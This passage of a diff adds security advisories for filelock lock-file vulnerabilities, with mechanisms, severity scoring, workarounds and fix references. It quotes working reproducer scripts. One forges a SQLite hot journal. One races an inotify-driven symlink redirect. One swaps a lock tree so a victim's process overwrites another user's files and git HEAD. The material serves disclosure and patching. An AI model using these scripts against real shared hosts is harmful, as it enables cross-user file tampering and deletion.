the other user after root's `read_lock()`.\n\nA journal whose super-journal names the database itself makes SQLite open and close a second descriptor on the database, which drops the process's POSIX locks, so `acquire_read` returns with no lock held in `/proc/locks` and a writer in another process acquires (two journals in a row, one per statement; write locks are not affected). A one-byte `lock.db-wal` plus a `lock.db-shm` on which the other user holds two byte locks makes the acquire take 10 s regardless of `timeout` and raise `locking protocol`, or die with `SIGBUS` if the other user truncates the `-shm`.\n\n**The hard-link route in a directory without the sticky bit.** None of the above occurs on the `_link_beside` branch (macOS, Linux without `/proc`). There SQLite's main file is `.filelock-…/lock.db` in the connecting user's `0700` directory. That protection holds only where no other user can rename the `.filelock-*` entry itself, because `0700` protects the contents, not the entry in the parent. `_link_beside` checks the link once and returns a pathname, and every later use is by that name.\n\nWith `/proc` hidden in a `0777` directory, the other user staged a directory holding a hard link `lock.db` to a one-page database and a hot `lock.db-journal`. They held `BEGIN EXCLUSIVE` on the database so the lock user's first statement waited in the busy handler (SQLite's retry loop for a locked database), renamed the lock user's `.filelock-*` directory aside, renamed the staged directory onto its name and rolled back. SQLite got SHARED, found the journal under the swapped name and unlinked the file it named. The lock user's process reported the lock held and exited 0. A polling variant without the write lock also won (in 40 trials the file was gone after 1 to 26 starts of the lock user's program). Under the sticky bit the rename fails with `EPERM`.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-KMJ2575J`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nas_victim = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": []}\nas_attacker = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": []}\n\n# set up: the lock database lives in a shared cache directory, 0777 and not sticky\nshared_dir = \"/tmp/shared-cache\"\nlock_db = shared_dir + \"/cache.lock.db\"\nshutil.rmtree(shared_dir, ignore_errors=True)\nos.mkdir(shared_dir)\nos.chmod(shared_dir, 0o777)\n\n# set up: a private 0600 file of the victim's in sticky /tmp, which the attacker cannot write\ntarget = \"/tmp/victim-notes.txt\"\nfor leftover in (target, target + \"-journal\"):\n if os.path.lexists(leftover):\n os.unlink(leftover)\noriginal = b\"original victim notes\\n\"\nwith open(target, \"wb\") as notes:\n notes.write(original)\nshutil.chown(target, \"victim\", \"victim\")\nos.chmod(target, 0o600)\ndirect_write = subprocess.run(\n [sys.executable, \"-c\", \"import sys; open(sys.argv[1], 'r+b')\", target], capture_output=True, text=True, **as_attacker\n)\nprint(\"attacker opening the target for writing:\", direct_write.stderr.strip().splitlines()[-1])\nassert direct_write.returncode != 0\n\n# attack: a hot journal beside the target, and a redirect of the victim's SQLite from the lock database to the target\ncontent = \"ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\\n\"\nsubprocess.run([sys.executable, \"/tmp/repro.d/plant_hot_journal.py\", target, content], check=True, **as_attacker)\nredirect = subprocess.Popen(\n [sys.executable, \"/tmp/repro.d/redirect_lock_db.py\", lock_db, target], stdout=subprocess.PIPE, text=True, **as_attacker\n)\nassert redirect.stdout.readline() == \"ready\\n\"\n\n# the victim takes its read lock; the attacker races each acquire, so the victim runs up to 20 times\nfor run in range(1, 21):\n victim = subprocess.run(\n [sys.executable, \"/tmp/repro.d/victim_app.py\", lock_db], capture_output=True, text=True, timeout=60, **as_victim\n )\n with open(target, \"rb\") as notes:\n after = notes.read()\n if after != original:\n break\nredirect.kill()\nredirect.wait()\n\n# check: taking a lock on cache.lock.db must leave the victim's notes alone\nprint(f\"victim run {run}: exit status {victim.returncode}:\", (victim.stderr.strip() or \"no error\").splitlines()[-1])\nstatus = os.stat(target)\nprint(\"target owner, mode, size:\", status.st_uid, oct(status.st_mode & 0o7777), status.st_size)\nprint(\"target before:\", original)\nprint(\"target after: \", after[:60])\nprint(\"BUG\" if after == content.encode().ljust(4096, b\"\\0\") else \"OK\")\n```\n\n**`repro.d/plant_hot_journal.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"The attacker: leave a rollback journal beside TARGET whose one record restores TARGET's first page to CONTENT.\"\"\"\n\nimport os\nimport struct\nimport sys\n\ntarget, content = sys.argv[1], sys.argv[2].encode()\njournal_path = target + \"-journal\"\n\n# https://www.sqlite.org/fileformat2.html#the_rollback_journal\nJOURNAL_MAGIC = bytes.fromhex(\"d9d505f920a163d7\")\npage_size, sector_size, nonce = 4096, 512, 0x11223344\nrecord_count = 1\npages_after_rollback = 1 # SQLite truncates TARGET to this many pages\nheader = JOURNAL_MAGIC + struct.pack(\">IIIII\", record_count, nonce, pages_after_rollback, sector_size, page_size)\n\npage_number = 1 # page 1 starts at offset 0\npage_image = content.ljust(page_size, b\"\\0\")\n# SQLite's pager_cksum(): the nonce plus every 200th byte, counting down from page_size - 200\nchecksum = (nonce + sum(page_image[i] for i in range(page_size - 200, 0, -200))) & 0xFFFFFFFF\nrecord = struct.pack(\">I\", page_number) + page_image + struct.pack(\">I\", checksum)\n\nwith open(journal_path, \"wb\") as journal:\n journal.write(header.ljust(sector_size, b\"\\0\") + record)\nos.chmod(journal_path, 0o666) # the victim's SQLite opens a hot journal O_RDWR\n```\n\n**`repro.d/redirect_lock_db.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"The attacker: make the victim's SQLite, connecting through /proc/self/fd/, open TARGET instead of LOCK_DB.\"\"\"\n\nimport ctypes\nimport os\nimport sys\n\nlock_db, target = sys.argv[1], sys.argv[2]\nspare_name = lock_db + \".keep\"\n\n# the attacker creates the lock database, world-writable so that the victim's ReadWriteLock accepts it\nos.close(os.open(lock_db, os.O_CREAT | os.O_WRONLY))\nos.chmod(lock_db, 0o666)\nos.link(lock_db, spare_name)\n\n# what /proc//fd/ reads back as once the name the descriptor was opened through is unlinked\nos.symlink(target, lock_db + \" (deleted)\")\n\nIN_OPEN = 0x20\nlibc = ctypes.CDLL(None, use_errno=True)\ninotify = libc.inotify_init1(0)\nif libc.inotify_add_watch(inotify, lock_db.encode(), IN_OPEN) < 0:\n raise OSError(ctypes.get_errno(), \"inotify_add_watch\", lock_db)\nprint(\"ready\", flush=True)\n\nwhile True:\n os.read(inotify, 4096) # the victim's ReadWriteLock has opened the database and is validating its descriptor\n os.unlink(lock_db)\n os.link(spare_name, lock_db) # the same inode back at the path, so filelock's later lstat sees no change\n```\n\n**`repro.d/victim_app.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"The victim: an application that takes its shared read lock once, as in docs/how-to.rst.\"\"\"\n\nimport sys\n\nfrom filelock import ReadWriteLock\n\nrw = ReadWriteLock(sys.argv[1])\nwith rw.read_lock(timeout=5):\n pass\n```\n\n## Attack sequence\n\nThe redirect, with `A` the other local user:\n\n```mermaid\nsequenceDiagram\n participant A as other local user\n participant V as lock user's process (filelock)\n participant S as SQLite inside that process\n participant K as kernel and filesystem\n rect rgb(255, 214, 214)\n Note over A,K: filelock 4.0.9 to 4.2.0 on Linux, lock directory 0777 without the sticky bit\n A->>K: create cache.lock.db (0666) and a second hard link cache.lock.db.keep\n A->>K: symlink \"cache.lock.db (deleted)\" pointing at /tmp/victim-notes.txt\n A->>K: write /tmp/victim-notes.txt-journal (hot rollback journal, one page record)\n V->>K: open(cache.lock.db, O_RDWR O_CREAT O_NOFOLLOW) gives fd 3, fstat says regular, header not WAL\n K-->>A: inotify IN_OPEN on cache.lock.db\n A->>K: unlink(cache.lock.db) then link(cache.lock.db.keep, cache.lock.db)\n V->>S: sqlite3.connect(\"/proc/self/fd/3\")\n S->>K: readlink(/proc/self/fd/3) returns \"cache.lock.db (deleted)\"\n S->>K: open(\"cache.lock.db (deleted)\") follows the symlink to victim-notes.txt\n V->>S: PRAGMA journal_mode=MEMORY\n S->>K: open(victim-notes.txt-journal), pread page 1, pwrite it at offset 0 of victim-notes.txt\n Note over V,K: victim-notes.txt (0600, 22 bytes) is now the other user's 4096-byte page image, the lock user sees \"disk I/O error\"\n V->>K: lstat(cache.lock.db) matches fd 3 identity, so _raise_if_database_replaced passes\n end\n```\n\nThe side-file variants, which need no redirect:\n\n```mermaid\nflowchart TD\n B0[\"acquire validates fd, connects SQLite by a name in the shared directory\"] --> B1{\"what did the other user put beside the real path?\"}\n B1 -- \"hot -journal beside a swapped-in one-page database\" --> B2[\"PRAGMA replays the journal, then unlinks the super-journal file it names, acquire succeeds\"]\n B1 -- \"-wal re-created between PRAGMA and BEGIN\" --> B3[\"holder in WAL mode, reader admitted beside the writer, SIGBUS when -shm is truncated\"]\n B1 -- \"-wal in a sticky directory the lock user cannot unlink\" --> B4[\"every acquire raises OperationalError disk I/O error, timeout ignored\"]\n B1 -- \"name unlinked and a (deleted) symlink planted\" --> B5[\"SQLite opens the symlink target with O_CREAT\"]\n classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332;\n classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000;\n classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;\n class B0,B1 info;\n class B2,B3,B4,B5 bad;\n```\n\n## Evidence\n\nThe scanner's reproducer runs the documented `ReadWriteLock(path)` + `with rw.read_lock(timeout=5):` as user `victim` against `/tmp/shared-cache/cache.lock.db` (directory `0777`, not sticky) while user `attacker` holds the symlink and reacts to inotify. It first shows that `attacker` cannot write the target (`PermissionError: [Errno 13] Permission denied: '/tmp/victim-notes.txt'`). On the first `victim` run it prints `victim run 1: exit status 1: sqlite3.OperationalError: disk I/O error`, `target owner, mode, size: 1000 0o600 4096`, target before `b'original victim notes\\n'`, after `b\"ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\\n\\x00...\"`, verdict `BUG`. Reacting to inotify redirected the first acquire in 77 of 77 runs. A plain unlink/link busy loop with no inotify also won on the first run. A process holding two `ReadWriteLock` instances on one database keeps an idle descriptor; a swap done a full second before the second acquire redirected it. The `-wal` re-plant landed on the first attempt in 20 of 20 runs. The journal-unlink variant needs no race.\n\nOur verification: the reproducer prints `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #834 head it prints `OK`: all 20 `victim` runs exit 0 with no error and the target stays `1000 0o600 22` bytes with its original content. The independent review also ran the sticky-directory `-wal` variant (a `0600` database owned by `victim` in a `1777` directory, other user plants `-wal`). 4.2.0 raises `OperationalError: disk I/O error`; the PR head takes read and write locks with the file still present.\n\n## Impact\n\nAnother local user who can write the non-sticky directory holding the database makes the lock user's process act on a file other than the lock database, with the lock user's privileges, on Linux. The process writes bytes of the other user's choosing from offset 0 into any non-empty regular file the lock user can write, resized to a whole number of pages, provided the other user can create `-journal` beside it (the lock user's own `0600` files in `/tmp` qualify). Without a journal the process creates an empty file at any path it may create, or converts a WAL-mode SQLite database of its own to rollback mode with no error. A journal beside a swapped-in database makes the process unlink one regular file of the other user's choosing per journal; the acquire succeeds and raises nothing. A process inside `write_lock()` stops excluding the lock user's other processes from `read_lock()`, and the holder can die from a `SIGBUS` that arrives in `release()`.\n\nIt is **not** reachable for a database the lock user owns in `/tmp` with `fs.protected_regular` 1 or 2. There only the planted `-wal` denial of service remains: every acquire raises an undocumented `sqlite3.OperationalError` that `Timeout` and `OSError` handlers do not catch. It is a bypass of the fix for GHSA-j8f7-rjxc-mr56 (4.0.9), which refused the symlink at the database path but followed it at ` (deleted)`. Windows does not take this path.\n\n## Workarounds\n\n- Keep the `ReadWriteLock` database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one `ReadWriteLock` database between accounts through a `0777` or group-writable directory. The lock creates its database `0600`, and leaving it that way keeps other accounts from supplying its content.\n- For a lock in a sticky directory keep `fs.protected_regular` at 1 or 2 and `fs.protected_hardlinks=1` (distribution defaults). Treat a sudden `sqlite3.OperationalError: disk I/O error` on every acquire as a foreign `-wal` beside the database that the file's owner or root has to remove.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/834\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 00:46 UTC: draft advisory created\n- 2026-10-16 01:15 UTC: fix PR #834 opened", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-v4x8-3wr5-3wq8" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112940" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/834" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-virtualenv-CVE-2026-112941.json b/advisories/BREW-virtualenv-CVE-2026-112941.json new file mode 100644 index 00000000000..a28f33c7c1a --- /dev/null +++ b/advisories/BREW-virtualenv-CVE-2026-112941.json @@ -0,0 +1,88 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-virtualenv-CVE-2026-112941", + "published": "2026-10-29T23:11:49Z", + "modified": "2026-10-29T23:11:49Z", + "upstream": [ + "GHSA-wfhq-q4j2-c37m", + "CVE-2026-112941" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "virtualenv", + "purl": "pkg:brew/virtualenv" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "21.14.7" + }, + { + "fixed": "21.14.10" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@4.2.4" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "4.2.4", + "key": "pkg:pypi/filelock@4.2.4", + "resource": "filelock" + } + ] + }, + "summary": "filelock: SoftReadWriteLock follows a lock tree swapped in after its first acquire and writes lock records into directories of the user running the lock", + "details": "`SoftReadWriteLock` (and `AsyncSoftReadWriteLock`, which wraps one) checks once per lock object, by name, that `.rw`, `.rw/gen` and `.rw/holders` are real directories and not symbolic links (files that redirect to another path). It then keeps only a boolean. Every later record operation resolves the full path again, and `O_NOFOLLOW` (a flag that makes an open fail when the final name is a symbolic link) protects the last component only. Another local user (the other user below) who can write the directory holding the lock, or who created `.rw` first in a sticky directory such as `/tmp` (the sticky bit is a directory flag that lets only a file's owner rename or remove it), can put a tree under that name whose `gen` or `holders` is a symbolic link into a directory of the user running the lock (the lock user below).\n\nA long-running process of the lock user that has already passed the check then creates, renames over and deletes files there with the lock user's privileges, including in `0700` directories the other user cannot open. The names and bytes are filelock's own lock records, not chosen by the other user. The scanner's reproducer replaces `.git/HEAD` in the lock user's private repository so that `git status` fails. There is no race. Affected versions: filelock >= 4.1.0 and <= 4.2.0. Anthropic's OSS Scanner reported it in private as `ANT-2026-WXXRI4M4` [high, CWE-367], titled \"SoftReadWriteLock follows gen dir swapped for a symlink after first acquire\".\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N, 3.3 (Low).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:L` (low attack complexity): the swap happens between two acquisitions, with no race to win. `PR:L` (low privileges): a local user with ordinary privileges is enough. `UI:N` (no user interaction): the lock user's process acts on its own. `C:N` (no confidentiality impact): the other user learns nothing. `I:L` (low integrity impact): the lock user's process replaces a file named `HEAD`, creates `epoch` and generation records, and deletes files whose names match the protocol's patterns, in any directory the lock user can write, with the lock user's privileges. The other user does not choose the bytes, but the files are gone and the chosen directory (a git repository) stops working. `A:N` (no availability impact): the lock itself keeps working and the lock user's process does not stall. The scanner rated it high; we scored the vector for a lock user with ordinary privileges.\n\nClassification from the external review: conditional security. It is a cross-user replacement of a cached `.rw` tree that redirects later writes of the lock user through an intermediate symbolic link. It needs a planted tree in sticky `/tmp` or a writable parent without the sticky bit. Scoring note: we rate integrity low rather than high. The bytes written through the swapped tree are filelock's own records, not content the other user chose, so the lower reading of the CVSS integrity metric applies.\n\n## Scope and preconditions\n\n- Trust boundary: the other party is a different local account with write access to the lock's parent directory. Without the sticky bit (a `0777` scratch or spool directory, or a group-writable project or cache directory shared with that account's group) write access alone is enough. The other user renames the lock user's own `0700` `.rw` aside and puts its tree in place. In a sticky parent such as `/tmp` the extra precondition is that it created `.rw` (with real `gen` and `holders` directories, mode `0777`) before the lock user's first acquire. `prepare()` accepts an existing tree whoever owns it, and the other user later replaces its own `gen` with a symbolic link. `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) does not intervene, because the link sits inside the other user's own non-sticky `.rw`, not in the sticky parent (the scanner ran with that setting).\n- Lock user: any process that keeps one `SoftReadWriteLock` or `AsyncSoftReadWriteLock` object (a singleton per path by default) and acquires it more than once, or is waiting for it when the swap happens. A fresh process that meets the planted tree gets `RuntimeError`. Between two acquisitions there is no timing to win.\n- Targets: any directory the lock user can write, on any filesystem. The other user needs only to know its path (`/home/victim/project/.git` in the reproducer, under a `0700` home directory the other user cannot open).\n- Platform: observed on Linux. The code path is the same on every POSIX platform and on Windows, where a junction (a Windows directory that points at another directory) at a directory component plays the symbolic link's part. The scanner ran Linux only.\n- Ancestor boundary: protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`, [`OsFiles.prepare` checks the three directories with `lstat` and caches `_prepared`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L121-L133). `lstat` reports what a name is without following a symbolic link. Every later operation takes a full path string, for example [`create`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L53-L60) (`O_NOFOLLOW` on the last component only), [`replace`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L86-L92) (`Path(source).replace(target)`), [`unlink`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L104-L112) and [`listdir`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L114-L119). The callers that write through the swapped tree are [`Participant.publish` / `_create_holder`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L435-L445), [`GenerationLog._incarnation`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L282-L295) (creates `epoch`), [`commit`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L344-L360) (links a generation record and renames over `HEAD`), [`_keep_claim_fresh`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L487-L496), [`_sweep`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L498) and [`_list`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_protocol.py#L297) (unlink). There is one `OsFiles` per lock object ([`_sync.py` line 204](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_sync.py#L204)), handed to every `Participant` at [line 501](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_sync.py#L501).\n\n## Introduced\n\nThe once-per-object shortcut (`_prepared`) came with `367b111` (\"fix(soft-rw): publish the head through gen/HEAD (#799)\", 2026-10-08), first released in 4.1.0 (verified with `git tag --contains 367b111`, which answers 4.1.0). That commit opens the route between two acquisitions with no timing to win. The check-then-use gap itself is older. At its parent `61582c5` (also first in 4.1.0) a contender already waiting during the swap still creates `epoch` in the target before the lock refuses it, while 4.0.0 leaves the target untouched in the same test. The group advisory carried `>= 4.0.0` as the union with a sibling finding; for this finding alone the range is `>= 4.1.0, <= 4.2.0`.\n\n## Mechanism\n\n`prepare()` runs `mkdir(mode=0o700)` and then `lstat()` on each of `.rw`, `gen` and `holders`. It raises `RuntimeError(\"... exists but is not a directory or is a symlink; refusing to use it\")` for a symbolic link or non-directory. It does this by name, once per `OsFiles` (`if self._prepared and not force: return`), and only a `FileNotFoundError` while creating the holder record (the file that says this process holds or wants the lock) leads to `prepare(force=True)`. All other `OsFiles` methods (`read`, `create`, `link`, `replace`, `overwrite`, `unlink`, `listdir`) take a full path string such as `/srv/shared/app.lock.rw/gen/HEAD`. `O_NOFOLLOW` applies to `HEAD`, and the kernel follows `app.lock.rw` and `gen` to whatever they name at that moment. The gap between the check and a use is therefore as long as the process keeps the lock object.\n\nThe scanner observed this at the scanned commit on Linux 6.1, CPython 3.14.8, overlayfs, with a default-options `SoftReadWriteLock`, as two accounts in `/srv/shared` (root-owned, mode `0777`, no sticky bit):\n\n1. `victim` runs a worker that builds `SoftReadWriteLock(\"/srv/shared/app.lock\")` once and takes `write_lock()` for each job. After the first job, `app.lock.rw` exists, owned by `victim`, mode `0700`.\n2. `attacker` renames `app.lock.rw` to `app.lock.rw.aside`, creates a new `app.lock.rw` with a world-writable `holders/` in it, and makes `app.lock.rw/gen` a symbolic link to `/home/victim/project/.git`. `/home/victim/project` is mode `0700`; the `attacker` account cannot open anything below it.\n3. The worker takes the lock for its second job. `write_lock()` returns without error. `/home/victim/project/.git` now holds new files `epoch`, `00000000000000000001` and `00000000000000000002`, and `\\nfilelock-rw/1\\ngeneration=2\\n` has replaced the content of `.git/HEAD`. `git status` there answers `fatal: not a git repository`.\n\nThe second acquisition, step by step: `Participant.publish()` calls `prepare()`, which returns at once, then creates `holders/`. The planted tree has a writable `holders`, so this succeeds. `advance()` calls `GenerationLog.latest()` (the generation log is the lock's ordered record of write generations under `gen/`). `_incarnation()` reads `gen/epoch`, finds none behind the link, and creates `.git/epoch`. The epoch differs from the remembered one, so the code drops the remembered log. git's `HEAD` does not start with the new epoch, so `_head_record()` ignores it and the log reads as empty. `commit()` creates `.git/.commit-`, hard-links it (a hard link is a second name for the same file) to `.git/00000000000000000001`, removes the temporary name, and publishes `HEAD` through `OsFiles.replace`, which is `rename(\".git/.commit-\", \".git/HEAD\")`. The release commits generation 2 the same way and renames over `HEAD` again.\n\nOther ways into the same gap exist. The scanner ran each at this commit with a directory only the lock user can access as the link target. A contender already waiting when the swap happens recreates its missing holder record in the planted `holders/` on its next poll (`_keep_claim_fresh()`), and the commit that follows replaces `HEAD` in the target. A process that only holds and releases, with the tree swapped during the hold, creates `epoch` in the target on release. With `holders` as the link, `Participant._sweep()` (run on acquire polls and from a holder's `heartbeat()`) unlinks files in the target whose names are 32 lowercase hex digits once the lock object has seen them unchanged for `stale_threshold` (observed with `stale_threshold=2`; the default is 90 s). With `gen` as the link, `GenerationLog._list()` unlinks every 20-digit name except the 64 highest: of 70 such files, it removes the 6 lowest before the acquire fails with `SoftFileLockProtocolError`.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-WXXRI4M4`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nSHARED = \"/srv/shared\"\nLOCK_TREE = f\"{SHARED}/app.lock.rw\"\nPROJECT = \"/home/victim/project\"\nHEAD = Path(PROJECT, \".git\", \"HEAD\")\nAS_VICTIM = [\"runuser\", \"-u\", \"victim\", \"--\"]\nAS_ATTACKER = [\"runuser\", \"-u\", \"attacker\", \"--\"]\nVICTIM_WORKER = [*AS_VICTIM, sys.executable, \"/tmp/repro.d/victim_worker.py\"]\nATTACKER_SWAP_TREE = [*AS_ATTACKER, sys.executable, \"/tmp/repro.d/attacker_swap_tree.py\"]\n\n# set up: a lock directory anyone may write (0777, no sticky bit), and a git repository only the victim can enter\nshutil.rmtree(SHARED, ignore_errors=True)\nshutil.rmtree(PROJECT, ignore_errors=True)\nos.mkdir(SHARED)\nos.chmod(SHARED, 0o777)\nsubprocess.run([*AS_VICTIM, \"git\", \"init\", \"--quiet\", PROJECT], check=True)\nos.chmod(PROJECT, 0o700)\nhead_before = HEAD.read_text()\nprint(\"SETUP HEAD:\", repr(head_before))\n\nattacker_opens_head = subprocess.run(\n [*AS_ATTACKER, sys.executable, \"-c\", f\"open({str(HEAD)!r}, 'w')\"], capture_output=True, text=True\n)\nif attacker_opens_head.returncode == 0:\n sys.exit(\"setup: the attacker can write HEAD directly\")\nprint(\"CONTROL attacker opens HEAD for writing:\", attacker_opens_head.stderr.strip().splitlines()[-1])\n\n# the victim's long-lived worker does job 1; its lock object creates and checks app.lock.rw\nworker = subprocess.Popen(VICTIM_WORKER, stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)\nworker.stdin.write(\"job 1\\n\")\nworker.stdin.flush()\nprint(\"VICTIM \", worker.stdout.readline().strip())\ntree = os.stat(LOCK_TREE)\nprint(\"VICTIM app.lock.rw owner uid\", tree.st_uid, \"mode\", oct(tree.st_mode & 0o777))\n\n# attack: between two jobs, swap in a tree whose gen/ is a symlink to the victim's .git\nsubprocess.run(ATTACKER_SWAP_TREE, check=True)\nprint(\"ATTACK app.lock.rw/gen ->\", os.readlink(f\"{LOCK_TREE}/gen\"))\n\n# control: a new lock object, in a new victim process, checks the planted tree and refuses it\nfresh_worker = subprocess.run(VICTIM_WORKER, input=\"job 1\\n\", capture_output=True, text=True)\nprint(\"CONTROL new worker:\", (fresh_worker.stdout + fresh_worker.stderr).strip().splitlines()[-1])\nprint(\"CONTROL HEAD after the new worker:\", repr(HEAD.read_text()))\n\n# the same worker does job 2 with the lock object that passed the check at job 1\nworker.stdin.write(\"job 2\\n\")\nworker.stdin.close()\nprint(\"VICTIM \", worker.stdout.read().strip())\nworker.wait()\n\n# check: HEAD of the victim's private repository must still be git's own\nhead_after = HEAD.read_text()\nprint(\"OBSERVED HEAD:\", repr(head_after))\nprint(\"OBSERVED .git:\", sorted(os.listdir(HEAD.parent)))\ngit_status = subprocess.run([*AS_VICTIM, \"git\", \"-C\", PROJECT, \"status\"], capture_output=True, text=True)\nprint(\"OBSERVED git status:\", (git_status.stdout + git_status.stderr).strip().splitlines()[0])\nprint(\"BUG\" if head_after != head_before and \"filelock-rw/1\" in head_after else \"OK\")\n```\n\n**`repro.d/attacker_swap_tree.py`**\n\n```python\nimport os\n\nLOCK_TREE = \"/srv/shared/app.lock.rw\"\nTARGET = \"/home/victim/project/.git\" # below a 0700 directory: this user can neither list nor write it\n\n# the victim's tree is 0700, but its name lives in /srv/shared, which this user may write (no sticky bit)\nos.rename(LOCK_TREE, f\"{LOCK_TREE}.aside\")\n\nos.umask(0)\nos.mkdir(LOCK_TREE, 0o755)\nos.mkdir(f\"{LOCK_TREE}/holders\", 0o777) # writable, so the victim's holder record lands and nothing re-runs prepare()\nos.symlink(TARGET, f\"{LOCK_TREE}/gen\")\n```\n\n**`repro.d/victim_worker.py`**\n\n```python\nimport sys\n\nfrom filelock import SoftReadWriteLock\n\nlock = SoftReadWriteLock(\"/srv/shared/app.lock\")\nfor job in sys.stdin:\n with lock.write_lock(timeout=30):\n ... # the job's work on the shared resource\n print(\"victim: finished\", job.strip(), \"and released the lock\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as other local user\n participant W as worker of the lock user (one lock object)\n participant F as /srv/shared (0777, no sticky bit)\n participant T as /home/victim/project/.git (0700)\n rect rgb(255, 214, 214)\n Note over A,T: filelock 4.1.0 to 4.2.0\n W->>F: job 1, write_lock() creates app.lock.rw (0700) with gen and holders, prepare() checks them once, _prepared = True\n W->>F: release, lock object kept\n A->>F: rename(app.lock.rw, app.lock.rw.aside)\n A->>F: mkdir app.lock.rw with a world-writable holders, symlink app.lock.rw/gen pointing at /home/victim/project/.git\n W->>F: job 2, prepare() returns at once, create(holders/token) succeeds in the planted holders\n W->>T: _incarnation() reads gen/epoch through the symlink, finds none, creates .git/epoch\n W->>T: commit() creates .git/.commit-token, links it to .git/00000000000000000001\n W->>T: replace() renames .git/.commit-token over .git/HEAD\n W->>T: release commits generation 2 and renames over HEAD again\n Note over W,T: write_lock() returned without error, HEAD is now a filelock-rw/1 record, git status says not a git repository\n end\n```\n\n## Evidence\n\nThe scanner's reproducer runs as root, drops to `victim` and `attacker` through `runuser`, needs `git`, changes no sysctl, and takes about half a second. It creates `/srv/shared` (root-owned, `0777`, no sticky bit), has `victim` run `git init /home/victim/project` and makes that directory `0700`. It then drives two programs. `victim_worker.py` holds one `SoftReadWriteLock(\"/srv/shared/app.lock\")` with default options; for each line on stdin it takes `write_lock(timeout=30)`, releases it and prints `finished and released the lock`. `attacker_swap_tree.py` renames the lock user's `app.lock.rw` aside, creates a new 